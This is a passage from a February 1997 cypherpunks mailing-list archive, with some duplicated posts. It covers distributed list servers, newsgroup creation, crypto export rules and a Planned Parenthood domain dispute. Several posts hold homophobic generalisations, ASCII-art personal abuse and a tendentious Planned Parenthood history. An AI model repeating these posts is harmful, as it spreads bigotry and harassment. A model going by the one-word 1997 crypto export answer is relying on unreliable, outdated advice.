>to do for grins and giggles. I disagree strongly that a controversial or legally troublesome list (or other data stream) should be closely associated with a business. While I agree that it's important that a list be supported by a robust hardware/software/network infrastructure, businesses tend to be focused on making money and maintaining business relationships, not on abstract or philosophical goals like "free speech". (Also, what is the "right" thing to do where a particular exercise of free speech looks like it has serious potential to harm the business, thereby harming or eliminating the list which makes the speech possible? Isn't every choice a person could make in such a situation reducible to "censorship"?) Every "forum" for free speech occurs exists in the context of economic and political relationships - and there will always be some message which threatens (to some degree) the stability of those relationships, and by implication, the forum itself. Unless we can eliminate economics and politics (ha, ha) I think that will always be the case - and there will always be some messages which raise "conflict of interest" problems. But some forums rest on less stable relationships (like, for example, most small businesses) and are more easily threatened by difficult messages. It's much easier to disrupt the income stream of a small business than to disrupt the income stream from a portfolio of investments or savings. But even a system whose upkeep was funded by something as unremarkable as interest on a savings account or a CD would still theoretically be "conflicted" were someone to use the system to propose or carry out a scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and loot various savings & loans. The threat(s) to systems providing transport/storage for controversial messages are not limited to liability after a judgement; it is becoming more common for civil plaintiffs to seek (and get) discovery of the actual hardware owned and used by defendants, in order to look through the storage media for discoverable information, including "deleted" files. The tactics the Co$ used against its critics were shocking but also legal (modulo some irregularities). It's certainly not unimaginable that similar tactics would be used against a remailer or majordomo operator were the list to pass traffic that someone didn't like. And if a computer system is the target of a search warrant in the criminal arena, you'll be lucky if you get to keep your electronic alarm clocks after the search. Count on everything with a chip in it going away in the police van. Most businesses don't want to expose themselves to the threat of civil or criminal seizure or discovery, especially not at random times and for non-business reasons. So, to the extent that they're paying attention, they may choose not to expose themselves to extra liability which carries little (or no) business value. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ravage at EINSTEIN.ssz.com Thu Feb 13 17:27:17 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 17:27:17 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702140127.RAA15949@toad.com> Forwarded message: > Date: Thu, 13 Feb 1997 13:50 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > Well, if you can't deliver mail because their mailbox is full, then > you should simply wait a few days before trying to deliver mail to that > address. If it's because the address isn't there any more, you should delete > it from the subscription lists. Otherwise, the instant people's mail quotas > overflow (e.g., they're on AOL and they haven't been able to get through the > clogged lines), they get bounced... or you're left with a lot of invalid > addresses. If their mailbox is full I might let it sit a day. If I still get a bounce after that I currently yank it. As I stated earlier, I am currently trying to decide if daily or weekly purges are in order. I personaly lean toward daily. I certainly am not buying disk space just so somebody else can use it for storing things they don't personaly have room for. > The address causing the bounce is not necessarily determinable > automatically from the bounce message; if it isn't, then you need to keep a > copy around for a human to look at. Hmmm, to date I haven't had a problem determining where the cause was from the bounces I see. I can't always tell why but it always seems to say whose email address was involved. > Given that there are pre-existing news-mail gateways, I'd think that > the programs should be available. My concern on the programming is more in > the realm of keeping the thing up and running. If you get it up and running there should be no programming involved. Unless you want to reconfigure. Jim Choate CyberTects ravage at ssz.com From ravage at EINSTEIN.ssz.com Thu Feb 13 17:28:37 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 17:28:37 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702140128.RAA15978@toad.com> Forwarded message: > Date: Thu, 13 Feb 1997 14:46:04 -0800 > From: Greg Broiles > Subject: Re: Private property & the cypherpunks list(s) > Is this the policy of the majordomo network, that individual list operators > can make their own policies for their subscribers, but may not/cannot > impose them on other list operators or the other lists' members? It sounds > very reasonable, but it would be nice to be clear about whether or not this > is the case. There is no policy at this point. We have not even agreed to a means to institute the network or its basic architecture. The only point of mandatory agreement is between any two individual list operators and the mechanism they use to transfer between those two nodes. This sort of policy distribution won't work, as to reasonable I think not. If everyone does their own thing with no compromise then nothing will get done. > Are there any rules (other than "no rules") which apply to all lists/list > operators/list subscribers? Can there ever be any? Who would write the > rules, and who must agree to them in order for them to take effect? There are no explicit rules at this point. Yes there can be all sorts of rules, both implicit (eg copyrights) and explicit. Anyone can write rules. Nobody must agree to anything other than implicit agreements, course the concept of 'agreement' sorta goes out the window with implicits. > Can individual list operators be forced to or forbidden to "peer" with > other machines, or are these "peer" relationships up to each list operator? Don't see how anyone can force the remailer to do anything. Can't speak for anyone else but can say with some degree of certainty that no participant in cpunks can stop me from subscribing whoever I want. There is certainly no mechanism envisioned to authenticate subscriptions with the remailer operators. Jim Choate CyberTects ravage at ssz.com From nobody at huge.cajones.com Thu Feb 13 17:40:07 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 13 Feb 1997 17:40:07 -0800 (PST) Subject: OTP Message-ID: <199702140140.RAA22574@mailmasher.com> Tim C[rook] May digs into his cesspool of a mind for his mailing list fertilizer. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ Tim C[rook] May / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ From dthorn at gte.net Thu Feb 13 17:51:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 17:51:56 -0800 (PST) Subject: Dale-Further proof In-Reply-To: <199702131605.IAA21730@mailmasher.com> Message-ID: <3303C4E1.A87@gte.net> Huge Cajones Remailer wrote: > Yet another Dale day (blah): > :From: Dale Thorn > :Another blood stain on Gilmore's shroud, as it were. > As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores. > As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries. Unlike crypto, metaphors are easier to "decode" than "encode", so it takes quite a bit less intellect for you to understand them than it takes for me to make them. But I don't see that as a "bad" thing for you. It's a savage, cruel world out there, and only when you shut yourself off to it (unwittingly in your case) do you feel "good". From jya at pipeline.com Thu Feb 13 17:56:23 1997 From: jya at pipeline.com (John Young) Date: Thu, 13 Feb 1997 17:56:23 -0800 (PST) Subject: Technology and the Electronic Economy Message-ID: <199702140156.RAA16648@toad.com> We've put the IEEE Spectrum special issue on Technology and the Electronic Economy, with 13 articles previously listed here, at: http://jya.com/tee.htm From jer+ at andrew.cmu.edu Thu Feb 13 19:06:35 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 13 Feb 1997 19:06:35 -0800 (PST) Subject: alt.cypherpunks In-Reply-To: Message-ID: <0n0xNr200YUh03LuM0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- John Pearson writes: > In this case, the people you have to convince are the news admins who must > permit your control message to be honoured; time was most sites ran on > autopilot, but joke and badly-named groups mean that most news admins > now drop most newgroup messages on the floor. These people hang out in > alt.config, and you should propose the group's creation there, followed > by a couple of weeks of discussion, hopefully featuring many more > supportive messages than non-supportive ones. After that, a newgroup > message stands a much better chance. alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, consiencous newsadmins probably did not honor the rmgroup, as alt.cypherpunks should be acceptable, but most newsadmins are too overworked to actually look at most of the crap that comes through. For example, it hasn't received any messages on my news server, probably because the one upstream removed it. Therefore, it would be a Good Thing to continue any discussion on alt.config, and convince any cabal'ers who rmgroup it to re-new it. Sending out boosters every couple of weeks wouldn't hurt, either. alt.cypherpunks'less, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwPWcskz/YzIV3P5AQEEOgMA1YEqI4VN6CbUg+MNHXpoLgzLWVDvCw/m gwiZbwOnXqXl6prS/mj1HIExqRt3AC1b1QIZmHktWvt2rAa1ERuQgkLPhcUzqHzh 5KbcB9XZ/raNELW9YAmXByav0yc/FD+r =rbHX -----END PGP SIGNATURE----- From tcmay at got.net Thu Feb 13 19:09:31 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 13 Feb 1997 19:09:31 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702131535.JAA20917@manifold.algebra.com> Message-ID: At 2:17 PM -0800 2/13/97, Leonard Janke wrote: >That being said, I fully support the idea of a comp.* newgroup, >over an alt.* group. The important advantages are the greater >propogation many have described, and the reduction in "outsider" >noise. I also think that people interested in computing >in general might be more likely to stumble onto the newsgroup, >since the comp.* hierachy is so much smaller than the alt.* >hierachy. Given that _political_ discussions of crypto are now encouraged in _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think political and social essays dealing with crypto anarchy, offshore databases, undermining governments, etc., will be welcome in the "comp" hierarchy? I rather doubt it. And I would bet that if comp.org.cypherpunks is ever approved, those who dislike crypto anarchy and sociopolitical chatter will use the "comp" name to try to suppress such discussions. And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and other such groups. >To be fair, though, I doubt that anyone would seriously try to >disrupt the creation, given the dedication I am seeing people putting >into finding a new home (or homes!) for the list, and that there does not >seem to be anyone dedicated to distrupting that process as John Gilmore >worried there would be. (And I am on the unedited list, too!) Sorry, Leonard, but this is one of the most naive statements I've ever heard. You really think whoever is spamming the list with ASCII art and broke into Paul's account to post hundreds of "John Gilmore is a cocksucker" posts will back off because of the "dedication" of some? To the perverse personality, this is merely a greater challenge and temptation. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dthorn at gte.net Thu Feb 13 19:26:12 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 19:26:12 -0800 (PST) Subject: Dale-Further proof Message-ID: <199702140326.TAA18432@toad.com> Huge Cajones Remailer wrote: > Yet another Dale day (blah): > :From: Dale Thorn > :Another blood stain on Gilmore's shroud, as it were. > As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores. > As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries. Unlike crypto, metaphors are easier to "decode" than "encode", so it takes quite a bit less intellect for you to understand them than it takes for me to make them. But I don't see that as a "bad" thing for you. It's a savage, cruel world out there, and only when you shut yourself off to it (unwittingly in your case) do you feel "good". From tcmay at got.net Thu Feb 13 19:26:23 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 13 Feb 1997 19:26:23 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702140326.TAA18459@toad.com> At 2:17 PM -0800 2/13/97, Leonard Janke wrote: >That being said, I fully support the idea of a comp.* newgroup, >over an alt.* group. The important advantages are the greater >propogation many have described, and the reduction in "outsider" >noise. I also think that people interested in computing >in general might be more likely to stumble onto the newsgroup, >since the comp.* hierachy is so much smaller than the alt.* >hierachy. Given that _political_ discussions of crypto are now encouraged in _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think political and social essays dealing with crypto anarchy, offshore databases, undermining governments, etc., will be welcome in the "comp" hierarchy? I rather doubt it. And I would bet that if comp.org.cypherpunks is ever approved, those who dislike crypto anarchy and sociopolitical chatter will use the "comp" name to try to suppress such discussions. And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and other such groups. >To be fair, though, I doubt that anyone would seriously try to >disrupt the creation, given the dedication I am seeing people putting >into finding a new home (or homes!) for the list, and that there does not >seem to be anyone dedicated to distrupting that process as John Gilmore >worried there would be. (And I am on the unedited list, too!) Sorry, Leonard, but this is one of the most naive statements I've ever heard. You really think whoever is spamming the list with ASCII art and broke into Paul's account to post hundreds of "John Gilmore is a cocksucker" posts will back off because of the "dedication" of some? To the perverse personality, this is merely a greater challenge and temptation. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jer+ at andrew.cmu.edu Thu Feb 13 19:28:14 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 13 Feb 1997 19:28:14 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702140328.TAA18503@toad.com> -----BEGIN PGP SIGNED MESSAGE----- John Pearson writes: > In this case, the people you have to convince are the news admins who must > permit your control message to be honoured; time was most sites ran on > autopilot, but joke and badly-named groups mean that most news admins > now drop most newgroup messages on the floor. These people hang out in > alt.config, and you should propose the group's creation there, followed > by a couple of weeks of discussion, hopefully featuring many more > supportive messages than non-supportive ones. After that, a newgroup > message stands a much better chance. alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, consiencous newsadmins probably did not honor the rmgroup, as alt.cypherpunks should be acceptable, but most newsadmins are too overworked to actually look at most of the crap that comes through. For example, it hasn't received any messages on my news server, probably because the one upstream removed it. Therefore, it would be a Good Thing to continue any discussion on alt.config, and convince any cabal'ers who rmgroup it to re-new it. Sending out boosters every couple of weeks wouldn't hurt, either. alt.cypherpunks'less, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwPWcskz/YzIV3P5AQEEOgMA1YEqI4VN6CbUg+MNHXpoLgzLWVDvCw/m gwiZbwOnXqXl6prS/mj1HIExqRt3AC1b1QIZmHktWvt2rAa1ERuQgkLPhcUzqHzh 5KbcB9XZ/raNELW9YAmXByav0yc/FD+r =rbHX -----END PGP SIGNATURE----- From jer+ at andrew.cmu.edu Thu Feb 13 19:35:46 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 13 Feb 1997 19:35:46 -0800 (PST) Subject: crypto restrictions In-Reply-To: <330466AB.3D19@querisoft.com> Message-ID: <0n0xnB200YUh03LyA0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- anand abhyankar writes: > i am a bit confused. what exactly are the us govt crypto regulations. Hard to tell, really... > what i mean is that : Oh, this is one of those easy questions! > 1) is it illegal to develop an encryption tool (s/w) in the US which > uses > 40 bit size session keys and then export that s/w outside of the > US. Yes. > 2) is it illegal to encrypt some data inside the us with a key > 40 bit > in size and then send that data outside the US. No. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwPcx8kz/YzIV3P5AQHqgwMAgCzNC8JCGJ4hY98Xk5UB4UtSRtx4VBfv bCD1AeE/1qLLJThi187hCEQRxzm4gAC+jCG6B+WSghvplrnkkfdMRn+3d8/+3F/y X/o7Khg9WqZcfm2uzOt9RSkaLXvl6Pk4 =WVv3 -----END PGP SIGNATURE----- From dthorn at gte.net Thu Feb 13 19:37:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 19:37:10 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <3303DD64.3685@gte.net> aga wrote: > On 12 Feb 1997, Against Moderation wrote: > > aga writes: > > > Yes, and just why is Gilmore such a jerk? Could his homosexuality > > > have anything to do with it? > > Doubtful. Given the fact that gay people suffer a great deal of > > discrimination, they generally tend to be fairly open-minded. I see > > no reason to believe Gilmore is in fact gay, but if he is it in no way > > affects my opinion of him. (It sure doesn't affect my opinion of him. He's such a total jerk and a conspiring creep that I haven't had to consider anything else). Funny, isn't it? Those people who *allegedly* suffer the most dis- crimination seem to be having the most fun, if you can call it that. If I were gay, which I'm not, I could get all the boyfriends I want. But being heterosexual, I would very much like to have women friends (just as friends mind you) for ordinary social purposes, yet it's not that easy. I'd guess the gays are much more liberal with their multi- friendships than straight people are. Another funny thing - I'm an ordinary English/Welsh/Dutch White person, and I've had plenty of White friends, and an equal percentage of Black friends given the number of Black people I've known, but I've never had a friend who was gay or lesbian, as far as I know, and I think I could tell. I can only guess that the gays are very clique-ish, or their brains are wired differently than non-gays. > Well, the fact remains that the homos are instrumental in creating and > forming a cliquish and censored usenet. There is just no question > about that. Remember the previous cypherpunk who stated that the > gays "created and run usenet." [snip] > It is very logical and wise to discriminate on the basis of sex. > I am not a racist, so therefore I can not be a "bigot," regardless of > my views on homosexuality. From jer+ at andrew.cmu.edu Thu Feb 13 19:56:26 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 13 Feb 1997 19:56:26 -0800 (PST) Subject: crypto restrictions Message-ID: <199702140356.TAA19306@toad.com> -----BEGIN PGP SIGNED MESSAGE----- anand abhyankar writes: > i am a bit confused. what exactly are the us govt crypto regulations. Hard to tell, really... > what i mean is that : Oh, this is one of those easy questions! > 1) is it illegal to develop an encryption tool (s/w) in the US which > uses > 40 bit size session keys and then export that s/w outside of the > US. Yes. > 2) is it illegal to encrypt some data inside the us with a key > 40 bit > in size and then send that data outside the US. No. HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwPcx8kz/YzIV3P5AQHqgwMAgCzNC8JCGJ4hY98Xk5UB4UtSRtx4VBfv bCD1AeE/1qLLJThi187hCEQRxzm4gAC+jCG6B+WSghvplrnkkfdMRn+3d8/+3F/y X/o7Khg9WqZcfm2uzOt9RSkaLXvl6Pk4 =WVv3 -----END PGP SIGNATURE----- From nobody at huge.cajones.com Thu Feb 13 19:57:38 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 13 Feb 1997 19:57:38 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702140357.TAA13962@mailmasher.com> Date: Thu, 13 Feb 1997 19:35:01 -0800 From: Dale Thorn :Another funny thing - I'm an ordinary English/Welsh/Dutch White :person, Makes me hate myself. :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. How, Dale, by the smell? :I can only guess that the gays are very clique-ish, :or their brains are wired differently than non-gays. Perhaps the hard wiring makes it possible for them to avoid bigots like you. Sign him up to pass out the pink triangles. What a fraud! Still love you, big guy. Can you tell? From ichudov at algebra.com Thu Feb 13 20:07:50 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 13 Feb 1997 20:07:50 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: Message-ID: <199702140400.WAA28065@manifold.algebra.com> Firebeard wrote: > > >>>>> Igor Chudov @ home writes: > > IC> This is where the distributed nature of the list comes in. if > IC> someone disagrees with Jim's AUP, he or she can use soem other > IC> mailing list host. > > And once I'm up and running, my cypherpunks list server will > not be interconnected with any server which has a similar AUP. The > implication of the AUP is that if you _don't_ comply with it, you will > be blocked. Without such an implication, the AUP is meaningless, and > I'm dedicated that there should be no filtering/blocking of any kind, > of the list. Persons behaving 'unacceptably' should be handled by > social pressures by others in the 'community' of the list, and not by > policies of the list operators. Which is, again, a perfectly fine idea. I would probably disconnect from any server that a) does not let certain messages go through (unless they are fighting a DOS attack) and b) Alters content of any messages. - Igor. From dthorn at gte.net Thu Feb 13 20:16:28 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 20:16:28 -0800 (PST) Subject: N.Y. judge rules for Planned Parenthood in web site case In-Reply-To: Message-ID: <3303E6CE.2D43@gte.net> Dr.Dimitri Vulis KOTM wrote: > A federal judge has temporarily stopped an abortion foe from > identifying his web site as belonging to Planned Parenthood and > selling an anti-abortion book from that home page. The temporary > restraining order, issued Wednesday, stops Richard Bucci from > identifying his home page as "Planned Parenthood's Home Page" and > using "plannedparenthood.com" as a domain name. Planned Parenthood, > which has its own web site, sued Bucci for trademark infringement. The > next hearing is slated for Feb. 20. For the full text story, see > http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e "Planned Parenthood". Has a nice ring to it, eh? Let's look at some history: Founded by Margaret Sanger (1879-1966). Publisher of Birth Control Review. Associate Henry Laughlin: Honorary MD from Heidelburg U (1936). Author of Hitler's Model Eugenical Sterilization Law. Author of "Mandatory Sterilization In The USA", published in Birth Control Review. Associate Dr. Ernst Rudin: Director of Nazi Medical Experimentation program; commissioned to write for Birth Control Review. Associate Dr. Lothrop Stoddard: Director, American Birth Control League. Vocal supporter of Nazis and their sterilization programs. Author of "The Rising Tide Of Color Against White Supremacy". Quote: "More children from the fit - less from the unfit. That is the chief aim of birth control." -from Birth Control Review circa 1921. Margaret described her plan to depopulate the Blacks in the U.S. in a private letter to Clarence Gamble, dated Oct. 19, 1939. Her plan was to hire Black ministers with engaging personalities to travel thru the South to propagandize for birth control. It was believed that the best access to the Blacks was thru religion, and Sanger's steering committee wanted to create the illusion that these projects were under the control of the local Black leaders. For those of you who don't know, there were a lot of successful sterilizations in the U.S. when these programs were in effect during Sanger's earlier years. Persons wishing to research this should also check Shockley, the transistor guy who won a Nobel prize for something or other, and his friendship with George Bush et al. I believe it was A&E channel that ran the Sanger TV-movie disinfor- mation/propaganda a year or so ago. You know, the channel that has been described by critics as "All Hitler, all the time". From cynthb at sonetis.com Thu Feb 13 20:37:31 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Thu, 13 Feb 1997 20:37:31 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702140437.XAA19547@homer.iosphere.net> Jeremiah A Blatz wrote: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > For example, it hasn't received any messages on my news server, > probably because the one upstream removed it. Seems I'm getting alt.cypherpunks.announce (empty), but not alt.cypherpunks or any of the others that show up as newgroup'ed on Deja News... Are they alive and well elsewhere? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From dthorn at gte.net Thu Feb 13 20:50:18 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 20:50:18 -0800 (PST) Subject: Dale disses gays. In-Reply-To: <199702140357.TAA13962@mailmasher.com> Message-ID: <3303EEC3.61EB@gte.net> Huge Cajones Remailer wrote: > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. > How, Dale, by the smell? I worked for a gay man in Beverly Hills and Encino for 3 years. I learned a lot about "signals" during that time. Bigot? I don't think so. One of my favorite customers, a nice lady who is Jewish (and who grew up where I did) told me she could spot 'em every time. > Sign him up to pass out the pink triangles. > What a fraud! Still love you, big guy. Can you tell? I'll bet you do! Er, I wouldn't bend over in front of you, that is. No offense, ya' know. BTW, my browser has a problem with your lines that have no c/r after every 70 or so characters. Other people will undoubtedly confirm that. From kent at songbird.com Thu Feb 13 20:50:53 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 13 Feb 1997 20:50:53 -0800 (PST) Subject: (2) More on Digital Postage In-Reply-To: <199702132327.PAA13638@toad.com> Message-ID: <199702140554.VAA14691@songbird.com> Timothy C. May allegedly said: > [...] > By the way, I think the "junk fax" and "junk phone call" laws are clearcut > violations of the First Amendment. You are entitled to any tortuous idiosyncratic opinion you care to hold, of course. > I understand why the herd _wants_ these > laws, as it reduces the costs involved in replacing fax paper, running to > the telephone only to find someone trying to sell something, etc., but it > is quite clearly a prior restraint on speech, however well-intentioned. "Prior restraint" is not a magic key. Not all speech is protected. Of course, once again, you are free to disagree with the massive body of legal precedent on this issue. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From nobody at huge.cajones.com Thu Feb 13 20:56:13 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 13 Feb 1997 20:56:13 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702140456.UAA21144@toad.com> Date: Thu, 13 Feb 1997 19:35:01 -0800 From: Dale Thorn :Another funny thing - I'm an ordinary English/Welsh/Dutch White :person, Makes me hate myself. :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. How, Dale, by the smell? :I can only guess that the gays are very clique-ish, :or their brains are wired differently than non-gays. Perhaps the hard wiring makes it possible for them to avoid bigots like you. Sign him up to pass out the pink triangles. What a fraud! Still love you, big guy. Can you tell? From ichudov at algebra.com Thu Feb 13 20:56:17 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702140456.UAA21157@toad.com> Firebeard wrote: > > >>>>> Igor Chudov @ home writes: > > IC> This is where the distributed nature of the list comes in. if > IC> someone disagrees with Jim's AUP, he or she can use soem other > IC> mailing list host. > > And once I'm up and running, my cypherpunks list server will > not be interconnected with any server which has a similar AUP. The > implication of the AUP is that if you _don't_ comply with it, you will > be blocked. Without such an implication, the AUP is meaningless, and > I'm dedicated that there should be no filtering/blocking of any kind, > of the list. Persons behaving 'unacceptably' should be handled by > social pressures by others in the 'community' of the list, and not by > policies of the list operators. Which is, again, a perfectly fine idea. I would probably disconnect from any server that a) does not let certain messages go through (unless they are fighting a DOS attack) and b) Alters content of any messages. - Igor. From cynthb at sonetis.com Thu Feb 13 20:56:17 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702140456.UAA21155@toad.com> Jeremiah A Blatz wrote: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > For example, it hasn't received any messages on my news server, > probably because the one upstream removed it. Seems I'm getting alt.cypherpunks.announce (empty), but not alt.cypherpunks or any of the others that show up as newgroup'ed on Deja News... Are they alive and well elsewhere? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From dthorn at gte.net Thu Feb 13 20:56:19 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 20:56:19 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702140456.UAA21158@toad.com> Huge Cajones Remailer wrote: > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. > How, Dale, by the smell? I worked for a gay man in Beverly Hills and Encino for 3 years. I learned a lot about "signals" during that time. Bigot? I don't think so. One of my favorite customers, a nice lady who is Jewish (and who grew up where I did) told me she could spot 'em every time. > Sign him up to pass out the pink triangles. > What a fraud! Still love you, big guy. Can you tell? I'll bet you do! Er, I wouldn't bend over in front of you, that is. No offense, ya' know. BTW, my browser has a problem with your lines that have no c/r after every 70 or so characters. Other people will undoubtedly confirm that. From dthorn at gte.net Thu Feb 13 20:56:22 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 13 Feb 1997 20:56:22 -0800 (PST) Subject: N.Y. judge rules for Planned Parenthood in web site case Message-ID: <199702140456.UAA21168@toad.com> Dr.Dimitri Vulis KOTM wrote: > A federal judge has temporarily stopped an abortion foe from > identifying his web site as belonging to Planned Parenthood and > selling an anti-abortion book from that home page. The temporary > restraining order, issued Wednesday, stops Richard Bucci from > identifying his home page as "Planned Parenthood's Home Page" and > using "plannedparenthood.com" as a domain name. Planned Parenthood, > which has its own web site, sued Bucci for trademark infringement. The > next hearing is slated for Feb. 20. For the full text story, see > http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e "Planned Parenthood". Has a nice ring to it, eh? Let's look at some history: Founded by Margaret Sanger (1879-1966). Publisher of Birth Control Review. Associate Henry Laughlin: Honorary MD from Heidelburg U (1936). Author of Hitler's Model Eugenical Sterilization Law. Author of "Mandatory Sterilization In The USA", published in Birth Control Review. Associate Dr. Ernst Rudin: Director of Nazi Medical Experimentation program; commissioned to write for Birth Control Review. Associate Dr. Lothrop Stoddard: Director, American Birth Control League. Vocal supporter of Nazis and their sterilization programs. Author of "The Rising Tide Of Color Against White Supremacy". Quote: "More children from the fit - less from the unfit. That is the chief aim of birth control." -from Birth Control Review circa 1921. Margaret described her plan to depopulate the Blacks in the U.S. in a private letter to Clarence Gamble, dated Oct. 19, 1939. Her plan was to hire Black ministers with engaging personalities to travel thru the South to propagandize for birth control. It was believed that the best access to the Blacks was thru religion, and Sanger's steering committee wanted to create the illusion that these projects were under the control of the local Black leaders. For those of you who don't know, there were a lot of successful sterilizations in the U.S. when these programs were in effect during Sanger's earlier years. Persons wishing to research this should also check Shockley, the transistor guy who won a Nobel prize for something or other, and his friendship with George Bush et al. I believe it was A&E channel that ran the Sanger TV-movie disinfor- mation/propaganda a year or so ago. You know, the channel that has been described by critics as "All Hitler, all the time". From shamrock at netcom.com Thu Feb 13 21:03:57 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 13 Feb 1997 